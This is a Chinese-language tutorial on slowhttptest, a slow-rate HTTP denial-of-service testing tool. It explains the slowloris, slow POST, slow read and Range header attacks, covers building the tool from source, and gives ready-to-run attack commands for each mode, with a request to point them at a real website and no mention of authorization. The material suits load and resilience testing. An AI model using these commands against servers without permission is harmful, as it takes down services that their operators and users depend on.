slowhttptest介绍
Slowhttptest是依赖HTTP协议的慢速攻击DoS攻击工具,设计的基本原理是服务器在请求完全接收后才会进行处理,如果客户端的发送速度缓慢或者发送不完整,服务端为其保留连接资源池占用,大量此类请求并发将导致DoS。
攻击模式
slowloris:完整的http请求是以\r\n\r\n结尾,攻击时仅发送\r\n,少发送一个\r\n,服务器认为请求还未发完,就会一直等待直至超时。等待过程中占用连接数达到服务器连接数上限,服务器便无法处理其他请求。
slow http post:原理和slowloris有点类似,这次是通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。
slow read attack:向服务器发送一个正常合法的read请求,请求一个很大的文件,但认为的把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送。文件长期滞留在内存中,消耗资源。
slowhttptest安装及测试
一、基础环境安装
yum install openssl openssl-devel
yum install gcc gcc-c++
二、安装m4、autoconf、perl和automake
yum install m4
yum install autoconf
yum install perl
yum install automake
注意:需要按照顺序进行安装,因为automake依赖于m4,autoconf和perl,autoconf又依赖于m4。
三、安装Slowhttptest
cd /usr/local
git clone https://github.com/shekyan/slowhttptest
cd slowhttptest/
./configure
autoreconf -ivf //请一定要执行这句命令
make
make install
四、几种攻击模式实例
1、slowloris
:完整的http请求是以 \r\n\r\n
结尾,攻击时仅发送 \r\n
,少发送一个 \r\n
,服务器认为请求还未发完,就会一直等待直至超时。
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u URL -x 24 -p 3
2、slow post
:通过声明一个较大的content-length后,body缓慢发送,导致服务器一直等待。
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u URL -x 10 -p 3
3、slow read
:向服务器发送一个正常合法的read请求,请求一个很大的文件,但把TCP滑动窗口设置得很小,服务器就会以滑动窗口的大小切割文件,然后发送,这是文件会长期存放在内存中,消耗资源。
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u URL -p 3
4、Range Header test
:在 HTTP 请求的 RANGE HEADER 中包含大量字段,使得服务器在服务端将一个很小的文件分割成大量的更小的片段再压缩。分段压缩过程消耗大量的服务器资源,导致 DOS。
slowhttptest -R -u URL -t HEAD -c 1000 -a 10 -b 3000 -r 500
请修改上述命令的URL为真实的网站地址
安装slowhttptest常见问题
- 报错
checking for
C++ compiler default
output file name... configure: error: C++ compiler cannot create executables
yum install gcc gcc-c++
- 执行./configure时提示“没有权限”
chmod 755 *
- 提示“missing automake-1.16”或aclocal-1.15: command not found
依次执行如下命令:
yum install m4
yum install autoconf
yum install perl
yum install automake